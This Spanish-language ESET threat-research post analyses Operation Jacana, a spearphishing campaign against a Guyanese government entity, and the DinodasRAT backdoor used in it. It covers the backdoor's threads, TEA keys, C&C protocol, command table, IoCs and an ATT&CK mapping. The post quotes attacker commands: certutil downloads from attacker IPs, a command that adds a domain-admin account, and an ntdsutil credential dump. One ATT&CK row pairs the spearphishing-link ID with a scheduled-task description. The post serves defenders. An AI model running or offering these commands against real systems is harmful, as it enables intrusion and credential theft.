En febrero de 2023, los investigadores de ESET detectaron una campaña de spearphishing dirigida a una entidad gubernamental en Guyana. Si bien no hemos podido vincular la campaña, que llamamos Operación Jacana, con ningún grupo APT específico, creemos con confianza media que un grupo de amenazas alineado con China está detrás de este incidente.

En el ataque, los operadores utilizaron un backdoor en C++ no documentado previamente que puede exfiltrar archivos, manipular claves del registro de Windows, ejecutar comandos CMD y mucho más. Bautizamos este backdoor como DinodasRAT por el identificador de víctima que envía a su C&C: la cadena siempre empieza por Din, lo que nos recuerda al hobbit Dinodas de El Señor de los Anillos.

Puntos clave de este blogpost:

  • La Operación Jacana es una campaña de ciberespionaje dirigida contra una entidad gubernamental de Guyana.
  • Tras el compromiso inicial a través de correos electrónicos de spearphishing, los atacantes procedieron a moverse lateralmente a través de la red interna de la víctima.
  • Para extraer datos confidenciales, los operadores utilizaron un backdoor no documentado previamente al que denominamos DinodasRAT.
  • DinodasRAT cifra la información que envía al C&C utilizando el algoritmo Tiny Encryption Algorithm (TEA).
  • Además de DinodasRAT, los atacantes también desplegaron Korplug, lo que nos hace sospechar de operadores alineados con China.

Esta campaña estaba dirigida, ya que los actores de la amenaza redactaron sus correos electrónicos específicamente para atraer a la organización víctima elegida. Después de comprometer con éxito el primer par de máquinas con DinodasRAT, los operadores procedieron a moverse lateralmente y violar la red interna donde desplegaron de nuevo el backdoor DinodasRAT, junto con herramientas maliciosas adicionales, entre ellas una variante de Korplug (también conocido como PlugX). En la Figura 1 se muestra el flujo de compromiso de la Operación Jacana.

01_compromise_flow
Figura 1. Flujo de compromiso de la Operación Jacana

Atribución

Hasta el momento de esta publicación, no pudimos atribuir la Operación Jacana a ningún grupo conocido. Sin embargo, gracias a una pista que hemos encontrado, creemos que no estamos completamente a oscuras con respecto a los autores. Durante el ataque, los actores de la amenaza desplegaron una variante de Korplug (también conocido como PlugX), que es común a los grupos alineados con China - por ejemplo, Mustang Panda's Hodur: Viejos trucos, nueva variante de Korplug.

Aunque nuestra atribución a un actor de la amenaza alineado con China sólo se hace con un nivel de confianza medio, la hipótesis se ve respaldada por la reciente evolución de las relaciones diplomáticas entre Guyana y China. En febrero de 2023, el mismo mes en que tuvo lugar la Operación Jacana, la Unidad Especial contra el Crimen Organizado (SOCU) de Guyana detuvo a tres personas en el marco de una investigación sobre blanqueo de dinero en la que estaban implicadas empresas chinas, un hecho cuestionado por la embajada china local. Además, como parte de la Iniciativa Belt and Road, China tiene intereses económicos en Guyana.

Acceso inicial

Como primer paso para acceder a la red de su víctima, los responsables de la Operación Jacana enviaron a la organización objetivo correos electrónicos de spearphishing que hacían referencia a asuntos públicos de Guyana. Observamos las siguientes líneas de asunto:

  • Visita oficial del Presidente Mohamed Irfaan Ali a Nassau, Bahamas
  • Prófugo guyanés en Vietnam

Basándonos en los asuntos de los correos electrónicos, los operadores debían de estar siguiendo la actualidad política de Guyana: el momento en que registramos nuevas detecciones en la entidad gubernamental objetivo coincidió con la asistencia del presidente guyanés a la conferencia del CARICOM en Nassau.

Los correos electrónicos de spearphishing contenían un enlace que, al hacer clic, descargaba un archivo ZIP de https://fta.moit.gov[.]vn/file/people.zip. Dado que un dominio que termina con gov.vn refiere a un sitio web gubernamental vietnamita, creemos que los operadores pudieron comprometer otra entidad gubernamental y utilizarla para alojar sus muestras de malware. Hemos notificado al VNCERT la infraestructura comprometida.

Una vez que la víctima extraía y ejecutaba el archivo ZIP, que no estaba protegido por contraseña, quedaba comprometida con el malware DinodasRAT. Los nombres de los archivos extraídos están relacionados con las líneas de asunto de los correos electrónicos de phishing:

  • Guyanese fugitive in Vietnam20220101to20230214Guyanese fugitive in Vietnam.docx.exe
  • The Bahamas/President Mohamed Irfaan Ali's Official Visit to Nassau, The Bahamas.doc.exe

Movimiento lateral

Tras penetrar en su objetivo, los atacantes se desplazaron por la red interna de la víctima. Según nuestra telemetría, BAT/Impacket.M y otras detecciones relacionadas se activaron en la red, lo que apunta al uso de Impacket, o una herramienta similar de movimiento lateral basada en WMI.

Algunos de los comandos que los atacantes ejecutaron en la red incluyen:

  • certutil -urlcache -split http://23.106.123[.]166/vmtools.rar
  • net usuario test8 Test123.. /add /do
  • net group "domain admins" test8 /add /do
  • certutil -urlcache -split -f http://23.106.122[.]5/windowsupdate.txt c:\programdata\windowsupdate.txt
  • cd c:\programdata\
  • c:\programdata\windowsupdate.exe
  • powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

El último comando vuelca ntds.dit utilizando el LOLBin ntdsutil.exe. Esto permite volcar las contraseñas almacenadas en un servidor Windows.

Caja de Herramientas

DinodasRAT

DinodasRAT es un troyano de acceso remoto no documentado desarrollado en C++ con varias capacidades que permiten espiar y recopilar información sensible del terminal de la víctima.

Cuando se ejecuta, el malware comprueba primero si se han pasado tres argumentos. Si están presentes, estos argumentos deben contener la siguiente información en el siguiente orden:

  1. la letra d,
  2. un número, que es un ID de proceso, y
  3. una ruta de archivo completa.

Si se pasan los tres argumentos, DinodasRAT termina el proceso representado por el ID del proceso utilizando la API de Windows TerminateProcess y luego utiliza la API de Windows DeleteFileW para borrar el archivo pasado en el tercer argumento. Tras esto, el proceso detiene su ejecución utilizando la función exit de la biblioteca estándar de C++. Lo más probable es que se trate de una función de desinstalación.

Si no se pasan argumentos, DinodasRAT continúa su ejecución creando un Mutex llamado client y comprueba la existencia del directorio convencional de Windows C:\ProgramData. Si existe, el malware crea un subdirectorio llamado Application Doc, que se utiliza para asignar un archivo de configuración y otros archivos relacionados con el backdoor. En caso de que el directorio de Windows no exista, DinodasRAT crea una ruta en el directorio raíz llamada Program.Files\Application.Doc. Las cadenas Application Doc, ProgramData y Program.Files\Application.doc se cifran utilizando el algoritmo Tiny Encryption Algorithm (TEA).

El directorio Application Doc se crea con los atributos Read-only y Hidden. Dentro de Application Doc, DinodasRAT crea dos subdirectorios, denominados 01. Una vez creado el directorio, el malware genera tres hilos utilizados para la recopilación y extracción de datos. En la Tabla 1 se ofrece una descripción detallada de su comportamiento.

Tabla 1. Descripción de los hilos Descripción de los hilos

Thread Description
1

Take a screenshot of the display of the victim’s machine every five minutes using Windows API functions like CreateDCW, BitBlt, DeleteDC, or ReleaseDC. The screenshot is compressed and saved in the subdirectory Application Doc\0.

In order to compress the screenshot, the attackers use the zlib library, version 1.2.11.

The format of the filename used for the saved screenshots is the following: <YYYYMMDDHHMMSS>_<five random digits>_<one random digit>.jpg

2

Get the content of the clipboard every five minutes using the Windows API function GetClipboardData and save it in the subdirectory Application Doc\1.

The format of the filename used for the clipboard data file is the following: DateTimeStamp_<five random digits>_<one random digit>.txt

3 Loops through the subdirectories 0 and 1 and sends the filenames, encrypted with TEA and base64 encoded, to the C&C server. If the C&C server replies, it creates another packet in order to send the filename with its data. Finally, it deletes the file from the victim’s machine.

Una vez creados los hilos, DinodasRAT crea un archivo llamado conf.ini en el directorio principal. Este archivo contiene un ID utilizado para identificar a la víctima ante el servidor de C&C.

La Figura 2 muestra un ejemplo del ID guardado en el archivo conf.ini.

Figure 2 ID example
Figura 2. Ejemplo de un ID guardado en el archivo conf.ini

Figura 2. Ejemplo de un ID guardado en el archivo conf.ini Ejemplo de un ID guardado en el archivo conf. ini

El formato del ID es Din_<AAAAMMDD>_<MD5-HASH>_<VALOR ALEATORIO>_V1, donde:

  • <AAAAMMDD> es la fecha de instalación,
  • <MD5-HASH> se calcula utilizando la dirección IP de la víctima y la fecha de instalación en milisegundos,
  • <RANDOM-VALUE> es un valor aleatorio, y
  • V1 es probablemente la versión del malware.

TEA: Tiny Encryption Algorithm

DinodasRAT utiliza TEA para descifrar algunas de sus cadenas, así como para cifrar/descifrar los datos enviados a, o recibidos de, su servidor de C&C. TEA, o Tiny Encryption Algorithm, es un sencillo cifrado por bloques, que destaca por su facilidad de implementación en software y hardware. Por ejemplo, la implementación original de referencia de su función de codificación consta de unas pocas líneas de código C, con un tiempo de configuración muy corto y sin tablas de valores preestablecidos. DinodasRAT emplea el algoritmo en el modo de encadenamiento de bloques cifrados (CBC). En algunos casos, los datos cifrados se codifican además con base64 antes de ser enviados al servidor de C&C.

Descubrimos que el malware contiene tres claves diferentes utilizadas para distintos escenarios de cifrado/descifrado, como se describe en la Tabla 2.

Tabla 2. Descifrado de claves TEA

Key N Value Description
1 A1 A1 18 AA 10 F0 FA 16 06 71 B3 08 AA AF 31 A1 Used mainly to encrypt/decrypt communications with the C&C server.
2 A0 21 A1 FA 18 E0 C1 30 1F 9F C0 A1 A0 A6 6F B1 Used to encrypt the name of the files created in the screenshot functionality, before they are sent to the C&C server.
3 11 0A A8 E1 C0 F0 FB 10 06 71 F3 18 AC A0 6A AF Used to decrypt the installation paths.

Es posible que los atacantes eligieran utilizar TEA para facilitarse el trabajo; tenemos motivos para creer que la implementación del algoritmo por parte del malware no se creó desde cero, sino que podría adaptarse del blogpost Tea Algorithm - C++ de BlackFeather.

Comunicación con el C&C y actividad maliciosa

Para comunicarse con el servidor de C&C, DinodasRAT utiliza la librería Winsock para crear un socket utilizando el protocolo TCP. Aunque TCP es el protocolo por defecto utilizado para enviar y recibir información del servidor C&C, hemos visto que DinodasRAT es capaz de cambiar al protocolo UDP.

El backdoor también crea varios hilos con diferentes propósitos, como manipular un comando recibido para ejecutarlo en la máquina de la víctima. Por lo tanto, con el fin de mantener la comunicación sincronizada, DinodasRAT hace uso de objetos de eventos de Windows mediante el uso de funciones de la API de Windows como CreateEventW, SetEventW, y WaitForSingleObject.

Para iniciar la comunicación principal con el servidor de C&C, DinodasRAT envía un paquete con información básica sobre la máquina de la víctima y su configuración, como:

  • Versión de Windows,
  • Arquitectura del sistema operativo,
  • nombre de usuario,
  • ruta de ejecución del malware codificada en base64, y
  • un valor utilizado para el protocolo UDP, que por defecto es 800.

La Figura 3 muestra no sólo la información básica recopilada sobre la víctima, sino también el ID generado por el malware, que sirve como identificador de la víctima para el servidor de C&C.

Figure 3 Information before encryption
Figura 3. Información básica antes de su cifrado

Toda la información que DinodasRAT envía al servidor de C&C a través del protocolo TCP está cifrada mediante TEA. Además, parte de la información también está codificada en base64.

Para enviar la información robada al servidor de C&C, DinodasRAT crea un paquete que contiene lo siguiente:

  • Primer byte: un ID que posiblemente indique si los datos están cifrados con TEA(0x30) o codificados con base64 y cifrados con TEA(0x32).
  • DWORD siguiente: tamaño de los datos cifrados.
  • Bytes restantes: datos encriptados.

La Figura 4 muestra un ejemplo de paquete encriptado para ser enviado al servidor C&C.

Figure 4 encrypted packet example
Figura 4. Ejemplo de paquete cifrado

Durante nuestro análisis no pudimos obtener una respuesta del servidor C&C, pero pudimos determinar que cualquier paquete recibido del servidor también debería estar cifrado con TEA.

A la hora de manejar los comandos recibidos del servidor C&C, DinodasRAT crea un hilo con un bucle infinito responsable de recibir y determinar si los paquetes contienen comandos cifrados para ejecutarlos.

Un paquete, una vez desencriptado, contiene la siguiente estructura:

  • Primer DWORD: ID de la acción a ejecutar, valor hexadecimal (ver Tabla 2).
  • Segundo DWORD: otro ID, relacionado para indicar en el lado del cliente que este paquete es un comando a ejecutar en la máquina de la víctima, valor hexadecimal.
  • Resto del paquete: datos utilizados por el comando a ejecutar.

DinodasRAT contiene comandos capaces de realizar diversas acciones en la máquina de la víctima o en el propio malware. La Tabla 3 enumera los comandos soportados con una breve descripción de cada uno.

Tabla 3. Comandos de DinodasRAT Comandos de DinodasRAT

Command ID

Description

0x02

List the contents of a specific directory.

0x03

Delete a file or the content of a directory.

0x04

Change the attribute of a file to hidden or normal.

0x05

Send files to the C&C server.

0x06

Set an event object used for command 0x05.

0x08

Modify a binary file with bytes received from the C&C server or execute a command using CreateProcessW.

0x09

Set an event object used for command 0x08.

0x0D

Write a variable called va, with its value, in the conf.ini file.

0x0E

Enumerate running processes.

0x0F

Terminate a process by its process ID.

0x10

List services on the victim’s machine.

0x11

Start or delete a service.

0x12

Get info from a Windows registry key.

0x13

Delete a Windows registry key.

0x14

Create a Windows registry key.

0x15

Execute a file or a command using the CreateProcessW Windows API.

0x16

Execute a command using the CreateProcessW Windows API.

0x17

Receive a domain and execute nslookup with that domain to create another socket with the IP address.

0x18

Receive and execute a command using Windows APIs CreateProcessW, PeekNamedPipe, and ReadFile.

0x19

Same as command 0x18.

0x1A

Set an event object used for commands 0x18, 0x19, and 0x1B.

0x1B

Interactive reverse shell.

0x1D

File manipulation; rename, copy, move files, etc.

0x1E

Set the string ok to a global variable and send that value to the C&C server.

0x1F

Write a variable called mode with its value into the conf.ini file.

0x20

Write a variable called ptype with its value into the conf.ini file.

0x21

Get or set a variable called fmode with its value in the conf.ini file.

0x22

Terminate malware execution.

0x24

Write the variables s and sub, with their respective values, into a file named p.ini. Both variables can have a Boolean value of true or false.

0x25

Configurate the event and global variables related with the take screenshot thread.

0x26

Write a variable called c with its value into a file named p.ini.

0x29

Modify the value of a global variable used for the UDP protocol, default value 0x800.

Durante nuestra investigación sólo hemos visto la creación y uso de la variable ID con su respectivo valor en el archivo conf.ini, que se utiliza para indicar la víctima al servidor C&C.

Además, DinodasRAT hace uso de una variable global multipropósito que, por ejemplo, puede contener la ruta de un nombre de archivo a eliminar o el nombre de una subclave del registro de Windows a crear.

Otras muestras de malware

Los atacantes también utilizaron otras herramientas además de DinodasRAT durante la intrusión:

  • Una variante de Korplug (también conocido como PlugX). Un backdoor utilizado habitualmente por grupos de amenazas alineados con China.
  • Un cliente VPN SoftEther. Probablemente se utilizó para enviar puertos locales, como RDP, al servidor de C&C.

Conclusión

La Operación Jacana es una campaña de ciberespionaje que afectó a una entidad gubernamental de Guyana. Creemos con confianza media que fue llevada a cabo por un grupo APT alineado con China.

Los atacantes utilizaron una combinación de herramientas desconocidas, como DinodasRAT, y backdoors más tradicionales, como Korplug.

Basándose en los correos electrónicos de spearphishing utilizados para obtener el acceso inicial a la red de la víctima, los operadores están realizando un seguimiento de las actividades geopolíticas de sus víctimas para aumentar las probabilidades de éxito.

IoCs

También puede encontrar una lista de IoCs en nuestro repositorio GitHub.

Archivos

SHA-1

Filename

ESET detection name

Description

599EA9B26581EBC7B4BDFC02E6C792B6588B751E

President Mohamed Irfaan Ali's Official Visit to Nassau, The Bahamas.doc.exe

Win32/DinodasRAT.A

DinodasRAT.

EFD1387BB272FFE75EC9BF5C1DD614356B6D40B5

people.zip

Win32/DinodasRAT.A

ZIP file containing DinodasRAT.

9A6E803A28D27462D2DF47B52E34120FB2CF814B

President Mohamed Irfaan Ali's Official Visit to Nassau, The Bahamas.exe

Win32/DinodasRAT.B

DinodasRAT.

33065850B30A7C797A9F1E5B219388C6991674DB

114.exe

Win32/DinodasRAT.B

DinodasRAT.

Red

IP

Domain

Hosting provider

First seen

Details

23.106.122[.]5

N/A

Leaseweb Asia Pacific pte. ltd.

2023‑03‑29

Hosts other malicious components.

23.106.122[.]46

N/A

IRT-LSW-SG

2023‑02‑13

Hosts other malicious components.

23.106.123[.]166

N/A

Leaseweb Asia Pacific pte. ltd.

2023‑02‑15

Hosts other malicious components.

42.119.111[.]97

fta.moit.gov[.]vn

FPT Telecom Company

2023‑02‑13

Hosts DinodasRAT in a compressed file.

115.126.98[.]204

N/A

Forewin Telecom Group Limited, ISP at, HK

2023‑05‑08

C&C server for DinodasRAT.

118.99.6[.]202

N/A

Edward Poon

2023‑02‑02

C&C server for DinodasRAT.

199.231.211[.]19

update.microsoft-setting[.]com

Dash Networks Inc.

2022‑11‑07

C&C server for DinodasRAT.

Técnicas MITRE ATT&CK

Tactic

ID

Name

Description

Resource Development

T1583.003

Acquire Infrastructure: Virtual Private Server

Operators have used VPS servers for hosting their payloads.

T1587.001

Develop Capabilities: Malware

Operators made custom malware for the operation.

T1608.001

Stage Capabilities: Upload Malware

Operators have used servers to upload malware.

T1584.004

Compromise Infrastructure: Server

Operators have compromised servers to host their payloads.

T1588.001

Obtain Capabilities: Malware

Operators have used a variant of the Korplug backdoor in this operation.

T1588.002

Obtain Capabilities: Tool

Operators have used tools such as Impacket and SoftEther.

Initial Access

T1566.002

Phishing: Spearphishing Link

Operators made use of scheduled tasks to persist their malware.

Execution

T1059.001

Command and Scripting Interpreter: PowerShell

Operators have used PowerShell to execute commands on the victim’s network.

T1059.003

Command and Scripting Interpreter: Windows Command Shell

Operators have used Windows command shell to execute commands on the victim’s internal network.

T1059.005

Command and Scripting Interpreter: Visual Basic

Operators have used VBScripts.

T1106

Native API

DinodasRAT uses APIs, e.g., CreateProcessW, to execute CMD commands on the victim’s machine.

T1204.001

User Execution: Malicious Link

Operators have relied on their victims to open a link to download their malware.

T1204.002

User Execution: Malicious File

Operators have relied on their victims to execute their malware.

Defense Evasion

T1140

Deobfuscate/Decode Files or Information

DinodasRAT compresses files before they are sent to the C&C server.

DinodasRAT also uses TEA to decrypt strings.

T1036.007

Masquerading: Double File Extension

Operators have used “double extensions” to trick victims into executing their malware.

T1070.004

Indicator Removal: File Deletion

DinodasRAT is capable of self-deletion from the victim’s machine.

T1564.001

Hide Artifacts: Hidden Files and Directories

To evade detection, DinodasRAT creates hidden folders.

Persistence

T1078.002

Valid Accounts: Domain Accounts

Operators have created domain accounts to maintain persistent access to the victim’s internal network.

T1053

Scheduled Task/Job

Operators made use of scheduled tasks to persist their malware.

Credential Access

T1003.003

OS Credential Dumping: NTDS

Operators abused ntdsutil.exe to dump credentials.

Discovery

T1083

File and Directory Discovery

DinodasRAT can list the contents of a directory or a file.

T1012

Query Registry

DinodasRAT can obtain information from Windows registry keys.

T1057

Process Discovery

DinodasRAT can obtain information about the processes running on the victim’s machine.

T1007

System Service Discovery

DinodasRAT can obtain information about the services running on the victim’s machine.

T1082

System Information Discovery

DinodasRAT retrieves information like Windows version from the victim’s machine.

Collection

T1115

Clipboard Data

DinodasRAT can obtain information located on the clipboard of the victim’s machine.

T1113

Screen Capture

DinodasRAT can take screenshots on the victim’s machine.

Command and Control

T1573.001

Encrypted Channel: Symmetric Cryptography

DinodasRAT has used TEA for encrypting C&C server communications.

T1095

Non-Application Layer Protocol

DinodasRAT has used TCP or UDP protocols for its connection to the C&C server.

T1132

Data Encoding

DinodasRAT uses base64 encoding for strings and data sent to its C&C server.

Exfiltration

T1041

Exfiltration Over C2 Channel

DinodasRAT exfiltrates data over the same channel used for its C&C server.